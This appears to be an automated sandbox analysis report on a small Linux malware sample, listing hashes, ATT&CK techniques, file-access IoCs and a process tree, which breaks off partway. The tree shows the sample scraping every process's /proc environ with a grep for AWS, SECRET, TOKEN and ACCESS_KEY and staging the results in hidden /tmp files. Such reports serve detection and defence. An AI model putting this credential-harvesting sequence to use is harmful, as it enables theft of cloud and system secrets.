3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699

Analysis

max time kernel
12s
max time network
138s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20261019-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/10/2026, 00:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
Size 5KB
Sample261027-aa7wjsxt5r
SHA256 3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
MD5 597b694b02913a657e408c2c9167e67f
SHA1 40b3d73219fd165837785634dccd67dda172b755
SHA512 0e488bfe46dcb8ac047dd14d76a8cc297a7aead37661a3336567035d4be835ed004edeae8abd534690fd379e39dd658444a692d890de8d219631fdde096cfc1a
SSDEEP 48:SfR4u8wP3FQvymZI/EXbCVuuY3/T/g/poQDwCPQ8cuc1NeQDMIMFRULA/tOSemQ2:sR5P1Bx7YMNcXNeQyFuLAjfQdDcoln+
TLSH
T126C185E9FCBC8871398E487EF54D6B101CC34A2F1DA22A4470A75C89FB2C52DF526B21
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpuidle	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/smt	find
File opened for reading	/sys/devices/system/cpu/vulnerabilities	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0	find

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
2055	sh

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/bus/i2c/drivers/ab3100	find
File opened for reading	/sys/kernel/mm/page_idle	find
File opened for reading	/sys/kernel/slab/shmem_inode_cache/cgroup	find
File opened for reading	/sys/devices/system/node/node0	find
File opened for reading	/sys/fs/cgroup/hugetlb	find
File opened for reading	/sys/bus/platform/drivers/tps68470_pmic_opregion	find
File opened for reading	/sys/bus/acpi/devices	find
File opened for reading	/sys/module/mousedev	find
File opened for reading	/sys/module/floppy/holders	find
File opened for reading	/sys/kernel/slab/:a-0000128	find
File opened for reading	/sys/kernel/slab/:0008192/cgroup	find
File opened for reading	/sys/kernel/slab/anon_vma/cgroup	find
File opened for reading	/sys/kernel/slab/:0000072	find
File opened for reading	/sys/kernel/debug/zswap	find
File opened for reading	/sys/fs/ext4/features	find
File opened for reading	/sys/bus/virtio/drivers	find
File opened for reading	/sys/module/lp/notes	find
File opened for reading	/sys/kernel/slab/:a-0000256	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata6	find
File opened for reading	/sys/devices/LNXSYSTM:00/power	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00	find
File opened for reading	/sys/bus/platform/drivers/tps68470-gpio	find
File opened for reading	/sys/bus/platform/drivers/dwc2	find
File opened for reading	/sys/bus/parport/devices	find
File opened for reading	/sys/module/fb_sys_fops/notes	find
File opened for reading	/sys/kernel/slab/:d-0000008/cgroup	find
File opened for reading	/sys/devices/virtual/block/loop5	find
File opened for reading	/sys/bus/pci/slots/12	find
File opened for reading	/sys/module/cpufreq/parameters	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/module/binfmt_misc	find
File opened for reading	/sys/class/dma	find
File opened for reading	/sys/devices/virtual/tty/tty59	find
File opened for reading	/sys/devices/virtual/vc/vcsa	find
File opened for reading	/sys/devices/tracepoint	find
File opened for reading	/sys/bus/platform/drivers/simple-framebuffer	find
File opened for reading	/sys/firmware/memmap/0	find
File opened for reading	/sys/kernel/slab/kmem_cache_node	find
File opened for reading	/sys/kernel/debug/usb/xhci	find
File opened for reading	/sys/devices/virtual/tty/tty	find
File opened for reading	/sys/bus/serio/drivers/serio_raw	find
File opened for reading	/sys/module/pciehp	find
File opened for reading	/sys/kernel/irq/12	find
File opened for reading	/sys/kernel/debug/bdi/7:6	find
File opened for reading	/sys/devices/virtual/block/loop0	find
File opened for reading	/sys/bus/pci/drivers/agpgart-via	find
File opened for reading	/sys/bus/spi/drivers/max310x	find
File opened for reading	/sys/module/parport_pc/notes	find
File opened for reading	/sys/kernel/slab/:A-0000704	find
File opened for reading	/sys/kernel/irq/2	find
File opened for reading	/sys/devices/platform/pcspkr	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXSYBUS:00/power	find
File opened for reading	/sys/bus/scsi	find
File opened for reading	/sys/bus/mipi-dsi/devices	find
File opened for reading	/sys/module/pci_hotplug	find
File opened for reading	/sys/module/ttm	find
File opened for reading	/sys/kernel/slab/request_sock_TCPv6/cgroup	find
File opened for reading	/sys/devices/virtual/misc/hw_random	find
File opened for reading	/sys/module/crypto_simd/sections	find
File opened for reading	/sys/module/hid/notes	find
File opened for reading	/sys/module/nf_tables/notes	find
File opened for reading	/sys/module/virtio_blk/holders	find
File opened for reading	/sys/module/drm/sections	find
File opened for reading	/sys/kernel/config	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/500/attr	find
File opened for reading	/proc/570/task/570/fdinfo	find
File opened for reading	/proc/29/task/29/attr	find
File opened for reading	/proc/30/net	find
File opened for reading	/proc/30/net/netfilter	find
File opened for reading	/proc/78/attr/selinux	find
File opened for reading	/proc/178/attr/selinux	find
File opened for reading	/proc/993/task/994	find
File opened for reading	/proc/4/attr/apparmor	find
File opened for reading	/proc/21/attr	find
File opened for reading	/proc/86/task/86/fd	find
File opened for reading	/proc/969/task/971/ns	find
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/net/netfilter	find
File opened for reading	/proc/950/ns	find
File opened for reading	/proc/1084/task/1093/fdinfo	find
File opened for reading	/proc/1058/task/1065/attr	find
File opened for reading	/proc/1064/task/1072/fdinfo	find
File opened for reading	/proc/29/net/stat	find
File opened for reading	/proc/78	find
File opened for reading	/proc/79/task/79/attr	find
File opened for reading	/proc/86/task	find
File opened for reading	/proc/115/attr/apparmor	find
File opened for reading	/proc/180/task/180/fdinfo	find
File opened for reading	/proc/358/task/358/fd	find
File opened for reading	/proc/664/attr	find
File opened for reading	/proc/137/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/1/net/dev_snmp6	find
File opened for reading	/proc/29/task/29/fd	find
File opened for reading	/proc/653/task/675/attr	find
File opened for reading	/proc/1022/task	find
File opened for reading	/proc/1061/fd	find
File opened for reading	/proc/1074/task/1094/fdinfo	find
File opened for reading	/proc/1161/task/1195/attr	find
File opened for reading	/proc/909/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/496/attr/apparmor	find
File opened for reading	/proc/983/map_files	find
File opened for reading	/proc/1048/task/1052/fd	find
File opened for reading	/proc/1099/task/1099/fdinfo	find
File opened for reading	/proc/1382/task/1391/attr	find
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/25	find
File opened for reading	/proc/176/task/176/ns	find
File opened for reading	/proc/563/net/stat	find
File opened for reading	/proc/570/task	find
File opened for reading	/proc/973/fd	find
File opened for reading	/proc/1032/attr	find
File opened for reading	/proc/1077/task/1082/ns	find
File opened for reading	/proc/24/net	find
File opened for reading	/proc/501/task/505/ns	find
File opened for reading	/proc/1006/task/1012/net	find
File opened for reading	/proc/1075/fd	find
File opened for reading	/proc/1101/task	find
File opened for reading	/proc/1161/task/1161/fdinfo	find
File opened for reading	/proc/15/task/15/fdinfo	find
File opened for reading	/proc/983/attr/selinux	find
File opened for reading	/proc/1211/task/1211/attr	find
File opened for reading	/proc/irq/6/floppy	find
File opened for reading	/proc/79/net/dev_snmp6	find
File opened for reading	/proc/166/task/166/net	find
File opened for reading	/proc/181/task/181	find
File opened for reading	/proc/976/fdinfo	find
File opened for reading	/proc/1309/task/1309/net	find
File opened for reading	/proc/211/attr/selinux	find

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
2055	sh
2056	gzip

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.aw1524/summary.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw1524/imds_role.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.da59244f647ca83d	curl
File opened for modification	/tmp/.da59244f647ca83d	curl
File opened for modification	/tmp/.aw1524/files.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.da59244f647ca83d	curl
File opened for modification	/tmp/.aw1524/env.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw1524/procenv.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699

/tmp/3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
/tmp/3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
1⤵
- Reads runtime system information
- Writes file to tmp directory
PID:1524
- /bin/hostname
  hostname
  2⤵
  PID:1525
- /bin/mkdir
  mkdir -p /tmp/.aw1524
  2⤵
  PID:1526
- /bin/date
  date -u
  2⤵
  PID:1527
- /usr/bin/id
  id
  2⤵
  PID:1528
- /usr/bin/env
  env
  2⤵
  PID:1529
- /bin/sed
  sed "s|^|/proc/1/environ: |"
  2⤵
  PID:1533
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1532
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1531
- /bin/sed
  sed "s|^|/proc/10/environ: |"
  2⤵
  PID:1537
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1536
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1535
- /bin/sed
  sed "s|^|/proc/1006/environ: |"
  2⤵
  PID:1540
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1539
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1538
- /bin/sed
  sed "s|^|/proc/1022/environ: |"
  2⤵
  PID:1543
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1542
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1541
- /bin/sed
  sed "s|^|/proc/1025/environ: |"
  2⤵
  PID:1547
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1546
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1545
- /bin/sed
  sed "s|^|/proc/1032/environ: |"
  2⤵
  PID:1550
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1549
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1548
- /bin/sed
  sed "s|^|/proc/1036/environ: |"
  2⤵
  PID:1553
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1552
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1551
- /bin/sed
  sed "s|^|/proc/1040/environ: |"
  2⤵
  PID:1556
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1555
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1554
- /bin/sed
  sed "s|^|/proc/1044/environ: |"
  2⤵
  PID:1559
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1558
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1557
- /bin/sed
  sed "s|^|/proc/1048/environ: |"
  2⤵
  PID:1562
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1561
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1560
- /bin/sed
  sed "s|^|/proc/1053/environ: |"
  2⤵
  PID:1565
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1564
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1563
- /bin/sed
  sed "s|^|/proc/1057/environ: |"
  2⤵
  PID:1568
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1567
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1566
- /bin/sed
  sed "s|^|/proc/1058/environ: |"
  2⤵
  PID:1571
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1570
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1569
- /bin/sed
  sed "s|^|/proc/1061/environ: |"
  2⤵
  PID:1574
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1573
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1572
- /bin/sed
  sed "s|^|/proc/1062/environ: |"
  2⤵
  PID:1577
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1576
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1575
- /bin/sed
  sed "s|^|/proc/1064/environ: |"
  2⤵
  PID:1580
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1579
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1578
- /bin/sed
  sed "s|^|/proc/1074/environ: |"
  2⤵
  PID:1584
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1583
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1582
- /bin/sed
  sed "s|^|/proc/1075/environ: |"
  2⤵
  PID:1589
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1588
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1587
- /bin/sed
  sed "s|^|/proc/1077/environ: |"
  2⤵
  PID:1592
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1591
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1590
- /bin/sed
  sed "s|^|/proc/1080/environ: |"
  2⤵
  PID:1595
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1594
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1593
- /bin/sed
  sed "s|^|/proc/1084/environ: |"
  2⤵
  PID:1598
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1597
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1596
- /bin/sed
  sed "s|^|/proc/1091/environ: |"
  2⤵
  PID:1601
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1600
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1599
- /bin/sed
  sed "s|^|/proc/1095/environ: |"
  2⤵
  PID:1604
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1603
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1602
- /bin/sed
  sed "s|^|/proc/1096/environ: |"
  2⤵
  PID:1607
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1606
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1605
- /bin/sed
  sed "s|^|/proc/1097/environ: |"
  2⤵
  PID:1610
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1609
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1608
- /bin/sed
  sed "s|^|/proc/1099/environ: |"
  2⤵
  PID:1613
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1612
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1611
- /bin/sed
  sed "s|^|/proc/11/environ: |"
  2⤵
  PID:1616
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1615
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1614
- /bin/sed
  sed "s|^|/proc/1101/environ: |"
  2⤵
  PID:1619
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1618
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1617
- /bin/sed
  sed "s|^|/proc/1104/environ: |"
  2⤵
  PID:1622
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1621
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1620
- /bin/sed
  sed "s|^|/proc/1146/environ: |"
  2⤵
  PID:1625
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1624
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1623
- /bin/sed
  sed "s|^|/proc/115/environ: |"
  2⤵
  PID:1628
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1627
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1626
- /bin/sed
  sed "s|^|/proc/1156/environ: |"
  2⤵
  PID:1631
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1630
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1629
- /bin/sed
  sed "s|^|/proc/1161/environ: |"
  2⤵
  PID:1634
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1633
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1632
- /bin/sed
  sed "s|^|/proc/1163/environ: |"
  2⤵
  PID:1637
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1636
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1635
- /bin/sed
  sed "s|^|/proc/1179/environ: |"
  2⤵
  PID:1640
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1639
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1638
- /bin/sed
  sed "s|^|/proc/12/environ: |"
  2⤵
  PID:1643
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1642
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1641
- /bin/sed
  sed "s|^|/proc/1211/environ: |"
  2⤵
  PID:1646
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1645
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1644
- /bin/sed
  sed "s|^|/proc/1244/environ: |"
  2⤵
  PID:1649
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1648
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1647
- /bin/sed
  sed "s|^|/proc/1250/environ: |"
  2⤵
  PID:1652
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1651
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1650
- /bin/sed
  sed "s|^|/proc/1260/environ: |"
  2⤵
  PID:1655
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1654
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1653
- /bin/sed
  sed "s|^|/proc/13/environ: |"
  2⤵
  PID:1658
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1657
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1656
- /bin/sed
  sed "s|^|/proc/1306/environ: |"
  2⤵
  PID:1661
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1660
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1659
- /bin/sed
  sed "s|^|/proc/1309/environ: |"
  2⤵
  PID:1664
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1663
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1662
- /bin/sed
  sed "s|^|/proc/1315/environ: |"
  2⤵
  PID:1667
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1666
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1665
- /bin/sed
  sed "s|^|/proc/1332/environ: |"
  2⤵
  PID:1670
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1669
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1668
- /bin/sed
  sed "s|^|/proc/1335/environ: |"
  2⤵
  PID:1673
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1672
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1671
- /bin/sed
  sed "s|^|/proc/1351/environ: |"
  2⤵
  PID:1676
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1675
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1674
- /bin/sed
  sed "s|^|/proc/137/environ: |"
  2⤵
  PID:1679
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1678
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1677
- /bin/sed
  sed "s|^|/proc/1382/environ: |"
  2⤵
  PID:1682
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1681
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1680
- /bin/sed
  sed "s|^|/proc/14/environ: |"
  2⤵
  PID:1685
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1684
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1683
- /bin/sed
  sed "s|^|/proc/1490/environ: |"
  2⤵
  PID:1688
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1687
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1686
- /bin/sed
  sed "s|^|/proc/15/environ: |"
  2⤵
  PID:1691
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1690
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1689
- /bin/sed
  sed "s|^|/proc/1515/environ: |"
  2⤵
  PID:1694
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1693
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1692
- /bin/sed
  sed "s|^|/proc/1518/environ: |"
  2⤵
  PID:1697
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1696
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1695
- /bin/sed
  sed "s|^|/proc/1519/environ: |"
  2⤵
  PID:1700
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1699
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1698
- /bin/sed
  sed "s|^|/proc/1520/environ: |"
  2⤵
  PID:1703
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1702
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1701
- /bin/sed
  sed "s|^|/proc/1524/environ: |"
  2⤵
  PID:1706
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1705
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1704
- /bin/sed
  sed "s|^|/proc/16/environ: |"
  2⤵
  PID:1709
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1708
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1707
- /bin/sed
  sed "s|^|/proc/166/environ: |"
  2⤵
  PID:1712
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1711
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1710
- /bin/sed
  sed "s|^|/proc/167/environ: |"
  2⤵
  PID:1715
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1714
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1713
- /bin/sed
  sed "s|^|/proc/168/environ: |"
  2⤵
  PID:1718
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1717
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1716
- /bin/sed
  sed "s|^|/proc/169/environ: |"
  2⤵
  PID:1721
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1720
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1719
- /bin/sed
  sed "s|^|/proc/17/environ: |"
  2⤵
  PID:1724
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1723
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1722
- /bin/sed
  sed "s|^|/proc/170/environ: |"
  2⤵
  PID:1727
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1726
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1725
- /bin/sed
  sed "s|^|/proc/171/environ: |"
  2⤵
  PID:1730
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1729
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1728
- /bin/sed
  sed "s|^|/proc/172/environ: |"
  2⤵
  PID:1733
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1732
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1731
- /bin/sed
  sed "s|^|/proc/173/environ: |"
  2⤵
  PID:1736
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1735
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1734
- /bin/sed
  sed "s|^|/proc/174/environ: |"
  2⤵
  PID:1739
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1738
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1737
- /bin/sed
  sed "s|^|/proc/175/environ: |"
  2⤵
  PID:1742
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1741
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1740
- /bin/sed
  sed "s|^|/proc/176/environ: |"
  2⤵
  PID:1745
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1744
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1743
- /bin/sed
  sed "s|^|/proc/177/environ: |"
  2⤵
  PID:1748
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1747
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1746
- /bin/sed
  sed "s|^|/proc/178/environ: |"
  2⤵
  PID:1751
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1750
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1749
- /bin/sed
